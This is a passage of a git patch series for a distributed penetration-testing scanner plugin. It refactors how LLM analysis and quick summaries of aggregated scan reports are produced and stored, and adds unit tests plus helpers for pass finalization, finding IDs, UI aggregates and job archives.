target_pass.get("pass_nr"), - "completed_at": target_pass.get("completed_at"), - "cid": analysis_cid, + "completed_at": pass_data.get("date_completed"), + "report_cid": report_cid, "target": job_specs.get("target"), "num_workers": len(job_specs.get("workers", {})), "total_passes": len(pass_reports), - "analysis": analysis, + "analysis": llm_analysis, + "quick_summary": pass_data.get("quick_summary"), } except Exception as e: - return {"error": str(e), "cid": analysis_cid, "job_id": job_id} + return {"error": str(e), "cid": report_cid, "job_id": job_id} @BasePlugin.endpoint diff --git a/extensions/business/cybersec/red_mesh/redmesh_llm_agent_mixin.py b/extensions/business/cybersec/red_mesh/redmesh_llm_agent_mixin.py index 1500d085..82dfeeec 100644 --- a/extensions/business/cybersec/red_mesh/redmesh_llm_agent_mixin.py +++ b/extensions/business/cybersec/red_mesh/redmesh_llm_agent_mixin.py @@ -166,9 +166,9 @@ def _auto_analyze_report(self, job_id: str, report: dict, target: str) -> Option return analysis_result - def _collect_aggregated_report(self, workers: dict) -> dict: + def _collect_node_reports(self, workers: dict) -> dict: """ - Collect and aggregate reports from all workers. + Collect individual node reports from all workers. Parameters ---------- @@ -178,7 +178,7 @@ def _collect_aggregated_report(self, workers: dict) -> dict: Returns ------- dict - Aggregated report combining all worker data. + Mapping {addr: report_dict} for each worker with data. """ all_reports = {} @@ -202,68 +202,56 @@ def _collect_aggregated_report(self, workers: dict) -> dict: all_reports[addr] = report if not all_reports: - self.P("No reports found to aggregate", color='y') - return {} + self.P("No reports found to collect", color='y') - # Aggregate all reports (method from host class) - aggregated = self._get_aggregated_report(all_reports) - return aggregated + return all_reports def _run_aggregated_llm_analysis( self, job_id: str, - job_specs: dict, - workers: dict, - pass_nr: int = None - ) -> Optional[str]: + aggregated_report: dict, + job_config: dict, + ) -> str | None: """ - Run LLM analysis on aggregated report from all workers. + Run LLM analysis on a pre-aggregated report. - Called by the launcher node after all workers complete. + The caller aggregates once and passes the result. This method + no longer fetches node reports or saves to R1FS. Parameters ---------- job_id : str Identifier of the job. - job_specs : dict - Job specification (will be updated with analysis CID). - workers : dict - Worker entries containing report data. - pass_nr : int, optional - Pass number for continuous monitoring jobs. + aggregated_report : dict + Pre-aggregated scan data from all workers. + job_config : dict + Job configuration (from R1FS). Returns ------- str or None - Analysis CID if successful, None otherwise. + LLM analysis markdown text if successful, None otherwise. """ - target = job_specs.get("target", "unknown") - run_mode = job_specs.get("run_mode", "SINGLEPASS") - pass_info = f" (pass {pass_nr})" if pass_nr else "" - self.P(f"Running aggregated LLM analysis for job {job_id}{pass_info}, target {target}...") - - # Collect and aggregate reports from all workers - aggregated_report = self._collect_aggregated_report(workers) + target = job_config.get("target", "unknown") + self.P(f"Running aggregated LLM analysis for job {job_id}, target {target}...") if not aggregated_report: self.P(f"No data to analyze for job {job_id}", color='y') return None # Add job metadata to report for context - aggregated_report["_job_metadata"] = { + report_with_meta = dict(aggregated_report) + report_with_meta["_job_metadata"] = { "job_id": job_id, "target": target, - "num_workers": len(workers), - "worker_addresses": list(workers.keys()), - "start_port": job_specs.get("start_port"), - "end_port": job_specs.get("end_port"), - "enabled_features": job_specs.get("enabled_features", []), - "run_mode": run_mode, - "pass_nr": pass_nr, + "start_port": job_config.get("start_port"), + "end_port": job_config.get("end_port"), + "enabled_features": job_config.get("enabled_features", []), + "run_mode": job_config.get("run_mode", "SINGLEPASS"), } # Call LLM analysis - llm_analysis = self._auto_analyze_report(job_id, aggregated_report, target) + llm_analysis = self._auto_analyze_report(job_id, report_with_meta, target) if not llm_analysis or "error" in llm_analysis: self.P( @@ -272,81 +260,53 @@ def _run_aggregated_llm_analysis( ) return None - # Save analysis to R1FS - try: - analysis_cid = self.r1fs.add_json(llm_analysis, show_logs=False) - if analysis_cid: - # Always store in pass_reports for consistency (both SINGLEPASS and CONTINUOUS) - pass_reports = job_specs.get("pass_reports", []) - for entry in pass_reports: - if entry.get("pass_nr") == pass_nr: - entry["llm_analysis_cid"] = analysis_cid - break - self._emit_timeline_event( - job_specs, "llm_analysis", - f"LLM analysis completed for pass {pass_nr}", - meta={"analysis_cid": analysis_cid, "pass_nr": pass_nr} - ) - self.P(f"LLM analysis for pass {pass_nr} saved, CID: {analysis_cid}") - return analysis_cid - else: - self.P(f"Failed to save LLM analysis to R1FS for job {job_id}", color='y') - return None - except Exception as e: - self.P(f"Error saving LLM analysis to R1FS: {e}", color='r') - return None + # Extract the markdown text from the analysis result + if isinstance(llm_analysis, dict): + return llm_analysis.get("content", llm_analysis.get("analysis", llm_analysis.get("markdown", str(llm_analysis)))) + return str(llm_analysis) def _run_quick_summary_analysis( self, job_id: str, - job_specs: dict, - workers: dict, - pass_nr: int = None - ) -> Optional[str]: + aggregated_report: dict, + job_config: dict, + ) -> str | None: """ - Run a short (2-4 sentence) AI quick summary on the aggregated report. + Run a short (2-4 sentence) AI quick summary on a pre-aggregated report. - Same pattern as _run_aggregated_llm_analysis but uses the quick_summary - analysis type with a low token budget. + The caller aggregates once and passes the result. This method + no longer fetches node reports or saves to R1FS. Parameters ---------- job_id : str Identifier of the job. - job_specs : dict - Job specification (will be updated with quick_summary_cid). - workers : dict - Worker entries containing report data. - pass_nr : int, optional - Pass number for continuous monitoring jobs. + aggregated_report : dict + Pre-aggregated scan data from all workers. + job_config : dict + Job configuration (from R1FS). Returns ------- str or None - Quick summary CID if successful, None otherwise. + Quick summary text if successful, None otherwise. """ - target = job_specs.get("target", "unknown") - pass_info = f" (pass {pass_nr})" if pass_nr else "" - self.P(f"Running quick summary analysis for job {job_id}{pass_info}, target {target}...") - - # Collect and aggregate reports from all workers - aggregated_report = self._collect_aggregated_report(workers) + target = job_config.get("target", "unknown") + self.P(f"Running quick summary analysis for job {job_id}, target {target}...") if not aggregated_report: self.P(f"No data for quick summary for job {job_id}", color='y') return None # Add job metadata to report for context - aggregated_report["_job_metadata"] = { + report_with_meta = dict(aggregated_report) + report_with_meta["_job_metadata"] = { "job_id": job_id, "target": target, - "num_workers": len(workers), - "worker_addresses": list(workers.keys()), - "start_port": job_specs.get("start_port"), - "end_port": job_specs.get("end_port"), - "enabled_features": job_specs.get("enabled_features", []), - "run_mode": job_specs.get("run_mode", "SINGLEPASS"), - "pass_nr": pass_nr, + "start_port": job_config.get("start_port"), + "end_port": job_config.get("end_port"), + "enabled_features": job_config.get("enabled_features", []), + "run_mode": job_config.get("run_mode", "SINGLEPASS"), } # Call LLM analysis with quick_summary type @@ -354,7 +314,7 @@ def _run_quick_summary_analysis( endpoint="/analyze_scan", method="POST", payload={ - "scan_results": aggregated_report, + "scan_results": report_with_meta, "analysis_type": "quick_summary", "focus_areas": None, } @@ -367,29 +327,10 @@ def _run_quick_summary_analysis( ) return None - # Save to R1FS - try: - summary_cid = self.r1fs.add_json(analysis_result, show_logs=False) - if summary_cid: - # Store in pass_reports - pass_reports = job_specs.get("pass_reports", []) - for entry in pass_reports: - if entry.get("pass_nr") == pass_nr: - entry["quick_summary_cid"] = summary_cid - break - self._emit_timeline_event( - job_specs, "llm_analysis", - f"Quick summary completed for pass {pass_nr}", - meta={"quick_summary_cid": summary_cid, "pass_nr": pass_nr} - ) - self.P(f"Quick summary for pass {pass_nr} saved, CID: {summary_cid}") - return summary_cid - else: - self.P(f"Failed to save quick summary to R1FS for job {job_id}", color='y') - return None - except Exception as e: - self.P(f"Error saving quick summary to R1FS: {e}", color='r') - return None + # Extract the summary text from the result + if isinstance(analysis_result, dict): + return analysis_result.get("content", analysis_result.get("summary", analysis_result.get("analysis", str(analysis_result)))) + return str(analysis_result) def _get_llm_health_status(self) -> dict: """ diff --git a/extensions/business/cybersec/red_mesh/test_redmesh.py b/extensions/business/cybersec/red_mesh/test_redmesh.py index 6c82b60e..c15562d8 100644 --- a/extensions/business/cybersec/red_mesh/test_redmesh.py +++ b/extensions/business/cybersec/red_mesh/test_redmesh.py @@ -2568,6 +2568,466 @@ def test_launch_fails_if_r1fs_unavailable(self): self.assertIsNone(job_specs) +class TestPhase2PassFinalization(unittest.TestCase): + """Phase 2: Single Aggregation + Consolidated Pass Reports.""" + + @classmethod + def _mock_plugin_modules(cls): + """Install mock modules so pentester_api_01 can be imported without naeural_core.""" + if 'extensions.business.cybersec.red_mesh.pentester_api_01' in sys.modules: + return + TestPhase1ConfigCID._mock_plugin_modules() + + def _get_plugin_class(self): + self._mock_plugin_modules() + from extensions.business.cybersec.red_mesh.pentester_api_01 import PentesterApi01Plugin + return PentesterApi01Plugin + + def _build_finalize_plugin(self, job_id="test-job", job_pass=1, run_mode="SINGLEPASS", + llm_enabled=False, r1fs_returns=None): + """Build a mock plugin pre-configured for _maybe_finalize_pass testing.""" + plugin = MagicMock() + plugin.ee_addr = "launcher-node" + plugin.ee_id = "launcher-alias" + plugin.cfg_instance_id = "test-instance" + plugin.cfg_llm_agent_api_enabled = llm_enabled + plugin.cfg_llm_agent_api_host = "localhost" + plugin.cfg_llm_agent_api_port = 8080 + plugin.cfg_llm_agent_api_timeout = 30 + plugin.cfg_llm_auto_analysis_type = "security_assessment" + plugin.cfg_monitor_interval = 60 + plugin.cfg_monitor_jitter = 0 + plugin.cfg_attestation_min_seconds_between_submits = 300 + plugin.time.return_value = 1000100.0 + plugin.json_dumps.return_value = "{}" + + # R1FS mock + plugin.r1fs = MagicMock() + cid_counter = {"n": 0} + def fake_add_json(data, show_logs=True): + cid_counter["n"] += 1 + if r1fs_returns is not None: + return r1fs_returns.get(cid_counter["n"], f"QmCID{cid_counter['n']}") + return f"QmCID{cid_counter['n']}" + plugin.r1fs.add_json.side_effect = fake_add_json + + # Job config in R1FS + plugin.r1fs.get_json.return_value = { + "target": "example.com", "start_port": 1, "end_port": 1024, + "run_mode": run_mode, "enabled_features": [], "monitor_interval": 60, + } + + # Build job_specs with two finished workers + job_specs = { + "job_id": job_id, + "job_status": "RUNNING", + "job_pass": job_pass, + "run_mode": run_mode, + "launcher": "launcher-node", + "launcher_alias": "launcher-alias", + "target": "example.com", + "task_name": "Test", + "start_port": 1, + "end_port": 1024, + "date_created": 1000000.0, + "risk_score": 0, + "job_config_cid": "QmConfigCID", + "workers": { + "worker-A": {"start_port": 1, "end_port": 512, "finished": True, "report_cid": "QmReportA"}, + "worker-B": {"start_port": 513, "end_port": 1024, "finished": True, "report_cid": "QmReportB"}, + }, + "timeline": [{"type": "created", "label": "Created", "date": 1000000.0, "actor": "launcher-alias", "actor_type": "system", "meta": {}}], + "pass_reports": [], + } + + plugin.chainstore_hgetall.return_value = {job_id: job_specs} + plugin.chainstore_hset = MagicMock() + + return plugin, job_specs + + def _sample_node_report(self, start_port=1, end_port=512, open_ports=None, findings=None): + """Build a sample node report dict.""" + report = { + "start_port": start_port, + "end_port": end_port, + "open_ports": open_ports or [80, 443], + "ports_scanned": end_port - start_port + 1, + "nr_open_ports": len(open_ports or [80, 443]), + "service_info": {}, + "web_tests_info": {}, + "completed_tests": ["port_scan"], + "port_protocols": {"80": "http", "443": "https"}, + "port_banners": {}, + "correlation_findings": [], + } + if findings: + # Add findings under service_info for port 80 + report["service_info"] = { + "80": { + "_service_info_http": { + "findings": findings, + } + } + } + return report + + def test_single_aggregation(self): + """_collect_node_reports called exactly once per pass finalization.""" + PentesterApi01Plugin = self._get_plugin_class() + plugin, job_specs = self._build_finalize_plugin() + + # Mock _collect_node_reports and _get_aggregated_report + report_a = self._sample_node_report(1, 512, [80]) + report_b = self._sample_node_report(513, 1024, [443]) + plugin._collect_node_reports = MagicMock(return_value={"worker-A": report_a, "worker-B": report_b}) + plugin._get_aggregated_report = MagicMock(return_value={ + "open_ports": [80, 443], "service_info": {}, "web_tests_info": {}, + "completed_tests": ["port_scan"], "ports_scanned": 1024, + "nr_open_ports": 2, "port_protocols": {"80": "http", "443": "https"}, + }) + plugin._normalize_job_record = MagicMock(return_value=(job_specs["job_id"], job_specs)) + plugin._get_job_config = MagicMock(return_value={"target": "example.com", "monitor_interval": 60}) + plugin._compute_risk_and_findings = MagicMock(return_value=({"score": 25, "breakdown": {}}, [])) + plugin._submit_redmesh_test_attestation = MagicMock(return_value=None) + plugin._get_timeline_date = MagicMock(return_value=1000000.0) + plugin._emit_timeline_event = MagicMock() + + PentesterApi01Plugin._maybe_finalize_pass(plugin) + + # _collect_node_reports called exactly once + plugin._collect_node_reports.assert_called_once() + + def test_pass_report_cid_in_r1fs(self): + """PassReport stored in R1FS with correct fields.""" + PentesterApi01Plugin = self._get_plugin_class() + plugin, job_specs = self._build_finalize_plugin() + + report_a = self._sample_node_report(1, 512, [80]) + plugin._collect_node_reports = MagicMock(return_value={"worker-A": report_a}) + plugin._get_aggregated_report = MagicMock(return_value={ + "open_ports": [80], "service_info": {}, "web_tests_info": {}, + "completed_tests": [], "ports_scanned": 512, "nr_open_ports": 1, + "port_protocols": {"80": "http"}, + }) + plugin._normalize_job_record = MagicMock(return_value=(job_specs["job_id"], job_specs)) + plugin._get_job_config = MagicMock(return_value={"target": "example.com"}) + plugin._compute_risk_and_findings = MagicMock(return_value=({"score": 10, "breakdown": {"findings_score": 5}}, [])) + plugin._submit_redmesh_test_attestation = MagicMock(return_value=None) + plugin._get_timeline_date = MagicMock(return_value=1000000.0) + plugin._emit_timeline_event = MagicMock() + + PentesterApi01Plugin._maybe_finalize_pass(plugin) + + # r1fs.add_json called twice: once for aggregated data, once for PassReport + self.assertEqual(plugin.r1fs.add_json.call_count, 2) + + # Second call is the PassReport + pass_report_dict = plugin.r1fs.add_json.call_args_list[1][0][0] + self.assertEqual(pass_report_dict["pass_nr"], 1) + self.assertIn("aggregated_report_cid", pass_report_dict) + self.assertIn("worker_reports", pass_report_dict) + self.assertEqual(pass_report_dict["risk_score"], 10) + self.assertIn("risk_breakdown", pass_report_dict) + self.assertIn("date_started", pass_report_dict) + self.assertIn("date_completed", pass_report_dict) + + def test_aggregated_report_separate_cid(self): + """aggregated_report_cid is a separate R1FS write from the PassReport.""" + PentesterApi01Plugin = self._get_plugin_class() + plugin, job_specs = self._build_finalize_plugin(r1fs_returns={1: "QmAggCID", 2: "QmPassCID"}) + + report_a = self._sample_node_report(1, 512, [80]) + plugin._collect_node_reports = MagicMock(return_value={"worker-A": report_a}) + plugin._get_aggregated_report = MagicMock(return_value={ + "open_ports": [80], "service_info": {}, "web_tests_info": {}, + "completed_tests": [], "ports_scanned": 512, "nr_open_ports": 1, + "port_protocols": {}, + }) + plugin._normalize_job_record = MagicMock(return_value=(job_specs["job_id"], job_specs)) + plugin._get_job_config = MagicMock(return_value={"target": "example.com"}) + plugin._compute_risk_and_findings = MagicMock(return_value=({"score": 0, "breakdown": {}}, [])) + plugin._submit_redmesh_test_attestation = MagicMock(return_value=None) + plugin._get_timeline_date = MagicMock(return_value=1000000.0) + plugin._emit_timeline_event = MagicMock() + + PentesterApi01Plugin._maybe_finalize_pass(plugin) + + # First R1FS write = aggregated data, second = PassReport + agg_dict = plugin.r1fs.add_json.call_args_list[0][0][0] + pass_dict = plugin.r1fs.add_json.call_args_list[1][0][0] + + # The PassReport references the aggregated CID + self.assertEqual(pass_dict["aggregated_report_cid"], "QmAggCID") + + # Aggregated data should have open_ports (from AggregatedScanData) + self.assertIn("open_ports", agg_dict) + + def test_finding_id_deterministic(self): + """Same input produces same finding_id; different title produces different id.""" + PentesterApi01Plugin = self._get_plugin_class() + + aggregated = { + "open_ports": [80], "ports_scanned": 100, "nr_open_ports": 1, + "port_protocols": {"80": "http"}, + "service_info": { + "80": { + "_service_info_http": { + "findings": [ + {"title": "SQL Injection", "severity": "HIGH", "cwe_id": "CWE-89", "confidence": "firm"}, + ] + } + } + }, + "web_tests_info": {}, + "correlation_findings": [], + } + + risk1, findings1 = PentesterApi01Plugin._compute_risk_and_findings(None, aggregated) + risk2, findings2 = PentesterApi01Plugin._compute_risk_and_findings(None, aggregated) + + self.assertEqual(findings1[0]["finding_id"], findings2[0]["finding_id"]) + + # Different title → different finding_id + aggregated2 = { + "open_ports": [80], "ports_scanned": 100, "nr_open_ports": 1, + "port_protocols": {"80": "http"}, + "service_info": { + "80": { + "_service_info_http": { + "findings": [ + {"title": "XSS Vulnerability", "severity": "HIGH", "cwe_id": "CWE-79", "confidence": "firm"}, + ] + } + } + }, + "web_tests_info": {}, + "correlation_findings": [], + } + _, findings3 = PentesterApi01Plugin._compute_risk_and_findings(None, aggregated2) + self.assertNotEqual(findings1[0]["finding_id"], findings3[0]["finding_id"]) + + def test_finding_id_cwe_collision(self): + """Same CWE, different title, same port+probe → different finding_ids.""" + PentesterApi01Plugin = self._get_plugin_class() + + aggregated = { + "open_ports": [80], "ports_scanned": 100, "nr_open_ports": 1, + "port_protocols": {"80": "http"}, + "service_info": { + "80": { + "_web_test_xss": { + "findings": [ + {"title": "Reflected XSS in search", "severity": "HIGH", "cwe_id": "CWE-79", "confidence": "certain"}, + {"title": "Stored XSS in comment", "severity": "HIGH", "cwe_id": "CWE-79", "confidence": "certain"}, + ] + } + } + }, + "web_tests_info": {}, + "correlation_findings": [], + } + + _, findings = PentesterApi01Plugin._compute_risk_and_findings(None, aggregated) + self.assertEqual(len(findings), 2) + self.assertNotEqual(findings[0]["finding_id"], findings[1]["finding_id"]) + + def test_finding_enrichment_fields(self): + """Each finding has finding_id, port, protocol, probe, category.""" + PentesterApi01Plugin = self._get_plugin_class() + + aggregated = { + "open_ports": [443], "ports_scanned": 100, "nr_open_ports": 1, + "port_protocols": {"443": "https"}, + "service_info": { + "443": { + "_service_info_ssl": { + "findings": [ + {"title": "Weak TLS", "severity": "MEDIUM", "cwe_id": "CWE-326", "confidence": "certain"}, + ] + } + } + }, + "web_tests_info": {}, + "correlation_findings": [], + } + + _, findings = PentesterApi01Plugin._compute_risk_and_findings(None, aggregated) + self.assertEqual(len(findings), 1) + f = findings[0] + self.assertIn("finding_id", f) + self.assertEqual(len(f["finding_id"]), 16) # 16-char hex + self.assertEqual(f["port"], 443) + self.assertEqual(f["protocol"], "https") + self.assertEqual(f["probe"], "_service_info_ssl") + self.assertEqual(f["category"], "service") + + def test_port_protocols_none(self): + """port_protocols is None → protocol defaults to 'unknown' (no crash).""" + PentesterApi01Plugin = self._get_plugin_class() + + aggregated = { + "open_ports": [22], "ports_scanned": 100, "nr_open_ports": 1, + "port_protocols": None, + "service_info": { + "22": { + "_service_info_ssh": { + "findings": [ + {"title": "Weak SSH key", "severity": "LOW", "cwe_id": "CWE-320", "confidence": "firm"}, + ] + } + } + }, + "web_tests_info": {}, + "correlation_findings": [], + } + + _, findings = PentesterApi01Plugin._compute_risk_and_findings(None, aggregated) + self.assertEqual(len(findings), 1) + self.assertEqual(findings[0]["protocol"], "unknown") + + def test_llm_success_no_llm_failed(self): + """LLM succeeds → llm_failed absent from serialized PassReport.""" + from extensions.business.cybersec.red_mesh.models import PassReport + + pr = PassReport( + pass_nr=1, date_started=1000.0, date_completed=1100.0, duration=100.0, + aggregated_report_cid="QmAgg", + worker_reports={}, + risk_score=50, + llm_analysis="# Analysis\nAll good.", + quick_summary="No critical issues found.", + llm_failed=None, # success + ) + d = pr.to_dict() + self.assertNotIn("llm_failed", d) + self.assertEqual(d["llm_analysis"], "# Analysis\nAll good.") + + def test_llm_failure_flag_and_timeline(self): + """LLM fails → llm_failed: True, timeline event added.""" + PentesterApi01Plugin = self._get_plugin_class() + plugin, job_specs = self._build_finalize_plugin(llm_enabled=True) + + report_a = self._sample_node_report(1, 512, [80]) + plugin._collect_node_reports = MagicMock(return_value={"worker-A": report_a}) + plugin._get_aggregated_report = MagicMock(return_value={ + "open_ports": [80], "service_info": {}, "web_tests_info": {}, + "completed_tests": [], "ports_scanned": 512, "nr_open_ports": 1, + "port_protocols": {}, + }) + plugin._normalize_job_record = MagicMock(return_value=(job_specs["job_id"], job_specs)) + plugin._get_job_config = MagicMock(return_value={"target": "example.com"}) + plugin._compute_risk_and_findings = MagicMock(return_value=({"score": 10, "breakdown": {}}, [])) + plugin._submit_redmesh_test_attestation = MagicMock(return_value=None) + plugin._get_timeline_date = MagicMock(return_value=1000000.0) + plugin._emit_timeline_event = MagicMock() + + # LLM returns None (failure) + plugin._run_aggregated_llm_analysis = MagicMock(return_value=None) + plugin._run_quick_summary_analysis = MagicMock(return_value=None) + + PentesterApi01Plugin._maybe_finalize_pass(plugin) + + # Check PassReport has llm_failed=True + pass_report_dict = plugin.r1fs.add_json.call_args_list[1][0][0] + self.assertTrue(pass_report_dict.get("llm_failed")) + + # Check timeline event was emitted for llm_failed + llm_failed_calls = [ + c for c in plugin._emit_timeline_event.call_args_list + if c[0][1] == "llm_failed" + ] + self.assertEqual(len(llm_failed_calls), 1) + # _emit_timeline_event(job_specs, "llm_failed", label, meta={"pass_nr": ...}) + call_kwargs = llm_failed_calls[0][1] # keyword args + meta = call_kwargs.get("meta", {}) + self.assertIn("pass_nr", meta) + + def test_aggregated_report_write_failure(self): + """R1FS fails for aggregated → pass finalization skipped, no partial state.""" + PentesterApi01Plugin = self._get_plugin_class() + # First R1FS write (aggregated) returns None = failure + plugin, job_specs = self._build_finalize_plugin(r1fs_returns={1: None, 2: "QmPassCID"}) + + report_a = self._sample_node_report(1, 512, [80]) + plugin._collect_node_reports = MagicMock(return_value={"worker-A": report_a}) + plugin._get_aggregated_report = MagicMock(return_value={ + "open_ports": [80], "service_info": {}, "web_tests_info": {}, + "completed_tests": [], "ports_scanned": 512, "nr_open_ports": 1, + "port_protocols": {}, + }) + plugin._normalize_job_record = MagicMock(return_value=(job_specs["job_id"], job_specs)) + plugin._get_job_config = MagicMock(return_value={"target": "example.com"}) + plugin._compute_risk_and_findings = MagicMock(return_value=({"score": 0, "breakdown": {}}, [])) + plugin._submit_redmesh_test_attestation = MagicMock(return_value=None) + plugin._get_timeline_date = MagicMock(return_value=1000000.0) + plugin._emit_timeline_event = MagicMock() + + PentesterApi01Plugin._maybe_finalize_pass(plugin) + + # CStore should NOT have pass_reports appended + self.assertEqual(len(job_specs["pass_reports"]), 0) + # CStore hset should NOT have been called for finalization + plugin.chainstore_hset.assert_not_called() + + def test_pass_report_write_failure(self): + """R1FS fails for pass report → CStore pass_reports not appended.""" + PentesterApi01Plugin = self._get_plugin_class() + # First R1FS write (aggregated) succeeds, second (pass report) fails + plugin, job_specs = self._build_finalize_plugin(r1fs_returns={1: "QmAggCID", 2: None}) + + report_a = self._sample_node_report(1, 512, [80]) + plugin._collect_node_reports = MagicMock(return_value={"worker-A": report_a}) + plugin._get_aggregated_report = MagicMock(return_value={ + "open_ports": [80], "service_info": {}, "web_tests_info": {}, + "completed_tests": [], "ports_scanned": 512, "nr_open_ports": 1, + "port_protocols": {}, + }) + plugin._normalize_job_record = MagicMock(return_value=(job_specs["job_id"], job_specs)) + plugin._get_job_config = MagicMock(return_value={"target": "example.com"}) + plugin._compute_risk_and_findings = MagicMock(return_value=({"score": 0, "breakdown": {}}, [])) + plugin._submit_redmesh_test_attestation = MagicMock(return_value=None) + plugin._get_timeline_date = MagicMock(return_value=1000000.0) + plugin._emit_timeline_event = MagicMock() + + PentesterApi01Plugin._maybe_finalize_pass(plugin) + + # CStore should NOT have pass_reports appended + self.assertEqual(len(job_specs["pass_reports"]), 0) + # CStore hset should NOT have been called for finalization + plugin.chainstore_hset.assert_not_called() + + def test_cstore_risk_score_updated(self): + """After pass, risk_score on CStore matches pass result.""" + PentesterApi01Plugin = self._get_plugin_class() + plugin, job_specs = self._build_finalize_plugin() + + report_a = self._sample_node_report(1, 512, [80]) + plugin._collect_node_reports = MagicMock(return_value={"worker-A": report_a}) + plugin._get_aggregated_report = MagicMock(return_value={ + "open_ports": [80], "service_info": {}, "web_tests_info": {}, + "completed_tests": [], "ports_scanned": 512, "nr_open_ports": 1, + "port_protocols": {}, + }) + plugin._normalize_job_record = MagicMock(return_value=(job_specs["job_id"], job_specs)) + plugin._get_job_config = MagicMock(return_value={"target": "example.com"}) + plugin._compute_risk_and_findings = MagicMock(return_value=({"score": 42, "breakdown": {"findings_score": 30}}, [])) + plugin._submit_redmesh_test_attestation = MagicMock(return_value=None) + plugin._get_timeline_date = MagicMock(return_value=1000000.0) + plugin._emit_timeline_event = MagicMock() + + PentesterApi01Plugin._maybe_finalize_pass(plugin) + + # CStore risk_score updated + self.assertEqual(job_specs["risk_score"], 42) + + # PassReportRef in pass_reports has same risk_score + self.assertEqual(len(job_specs["pass_reports"]), 1) + ref = job_specs["pass_reports"][0] + self.assertEqual(ref["risk_score"], 42) + self.assertIn("report_cid", ref) + self.assertEqual(ref["pass_nr"], 1) + + class VerboseResult(unittest.TextTestResult): def addSuccess(self, test): super().addSuccess(test) @@ -2582,4 +3042,5 @@ def addSuccess(self, test): suite.addTests(unittest.defaultTestLoader.loadTestsFromTestCase(TestCorrelationEngine)) suite.addTests(unittest.defaultTestLoader.loadTestsFromTestCase(TestScannerEnhancements)) suite.addTests(unittest.defaultTestLoader.loadTestsFromTestCase(TestPhase1ConfigCID)) + suite.addTests(unittest.defaultTestLoader.loadTestsFromTestCase(TestPhase2PassFinalization)) runner.run(suite) From 22f6863f3a2c0d698c852f23e2e5cf3a527522f9 Mon Sep 17 00:00:00 2001 From: toderian Date: Sat, 7 Mar 2026 21:01:25 +0000 Subject: [PATCH 11/42] feat: job archive & UI Aggregate (phase 3-4) --- .../cybersec/red_mesh/pentester_api_01.py | 243 ++++++++- .../cybersec/red_mesh/test_redmesh.py | 473 ++++++++++++++++++ 2 files changed, 703 insertions(+), 13 deletions(-) diff --git a/extensions/business/cybersec/red_mesh/pentester_api_01.py b/extensions/business/cybersec/red_mesh/pentester_api_01.py index c495094b..05607ebc 100644 --- a/extensions/business/cybersec/red_mesh/pentester_api_01.py +++ b/extensions/business/cybersec/red_mesh/pentester_api_01.py @@ -38,7 +38,10 @@ from naeural_core.business.default.web_app.fast_api_web_app import FastApiWebAppPlugin as BasePlugin from .redmesh_utils import PentestLocalWorker # Import PentestJob from separate module from .redmesh_llm_agent_mixin import _RedMeshLlmAgentMixin -from .models import JobConfig, PassReport, PassReportRef, WorkerReportMeta, AggregatedScanData +from .models import ( + JobConfig, PassReport, PassReportRef, WorkerReportMeta, AggregatedScanData, + CStoreJobFinalized, UiAggregate, JobArchive, +) from .constants import ( FEATURE_CATALOG, LLM_ANALYSIS_SECURITY_ASSESSMENT, @@ -1457,6 +1460,202 @@ def parse_port(port_key): } return risk_result, flat_findings + def _count_services(self, service_info): + """Count unique service types across all ports. + + Parameters + ---------- + service_info : dict + Port-keyed service info dict from aggregated scan data. + + Returns + ------- + int + Number of unique service types (probe names). + """ + services = set() + if not isinstance(service_info, dict): + return 0 + for port_key, probes in service_info.items(): + if isinstance(probes, dict): + for probe_name in probes: + services.add(probe_name) + return len(services) + + SEVERITY_ORDER = {"CRITICAL": 0, "HIGH": 1, "MEDIUM": 2, "LOW": 3, "INFO": 4} + CONFIDENCE_ORDER = {"certain": 0, "firm": 1, "tentative": 2} + + def _compute_ui_aggregate(self, passes, latest_aggregated): + """Compute pre-aggregated view for frontend from pass reports. + + Parameters + ---------- + passes : list + List of pass report dicts (PassReport.to_dict()). + latest_aggregated : dict + AggregatedScanData dict for the latest pass. + + Returns + ------- + UiAggregate + """ + from collections import Counter + + latest = passes[-1] + agg = latest_aggregated + findings = latest.get("findings", []) or [] + + # Severity breakdown + findings_count = dict(Counter(f.get("severity", "INFO") for f in findings)) + + # Top findings: CRITICAL + HIGH, sorted by severity then confidence, capped at 10 + crit_high = [f for f in findings if f.get("severity") in ("CRITICAL", "HIGH")] + crit_high.sort(key=lambda f: ( + self.SEVERITY_ORDER.get(f.get("severity"), 9), + self.CONFIDENCE_ORDER.get(f.get("confidence"), 9), + )) + top_findings = crit_high[:10] + + # Finding timeline: track persistence across passes (continuous monitoring) + finding_timeline = {} + for p in passes: + pass_nr = p.get("pass_nr", 0) + for f in (p.get("findings") or []): + fid = f.get("finding_id") + if not fid: + continue + if fid not in finding_timeline: + finding_timeline[fid] = {"first_seen": pass_nr, "last_seen": pass_nr, "pass_count": 1} + else: + finding_timeline[fid]["last_seen"] = pass_nr + finding_timeline[fid]["pass_count"] += 1 + + return UiAggregate( + total_open_ports=sorted(set(agg.get("open_ports", []))), + total_services=self._count_services(agg.get("service_info", {})), + total_findings=len(findings), + findings_count=findings_count if findings_count else None, + top_findings=top_findings if top_findings else None, + finding_timeline=finding_timeline if finding_timeline else None, + latest_risk_score=latest.get("risk_score", 0), + latest_risk_breakdown=latest.get("risk_breakdown"), + latest_quick_summary=latest.get("quick_summary"), + worker_activity=[ + { + "id": addr, + "start_port": w["start_port"], + "end_port": w["end_port"], + "open_ports": w.get("open_ports", []), + } + for addr, w in (latest.get("worker_reports") or {}).items() + ] or None, + ) + + def _build_job_archive(self, job_key, job_specs): + """Build archive, write to R1FS, prune CStore. Idempotent on failure. + + Called when job reaches FINALIZED or STOPPED state. Builds the complete + archive, writes it to R1FS, then prunes CStore to a lightweight stub. + + Safety invariant: never prune CStore until archive CID is confirmed written. + + Parameters + ---------- + job_key : str + CStore key for this job. + job_specs : dict + Full CStore job state. + """ + job_id = job_specs.get("job_id", job_key) + + # 1. Fetch job config + job_config = self.r1fs.get_json(job_specs.get("job_config_cid")) + if job_config is None: + self.P(f"Cannot build archive for {job_id}: job config not found in R1FS", color='r') + return + + # 2. Fetch all pass reports + passes = [] + for ref in job_specs.get("pass_reports", []): + pass_data = self.r1fs.get_json(ref["report_cid"]) + if pass_data is None: + self.P(f"Cannot build archive for {job_id}: pass {ref['pass_nr']} not found", color='r') + return + passes.append(pass_data) + + if not passes: + self.P(f"Cannot build archive for {job_id}: no pass reports", color='r') + return + + # 3. Fetch latest aggregated report for UI aggregate computation + latest_agg_cid = passes[-1].get("aggregated_report_cid") + latest_aggregated = self.r1fs.get_json(latest_agg_cid) if latest_agg_cid else None + if not latest_aggregated: + self.P(f"Cannot build archive for {job_id}: 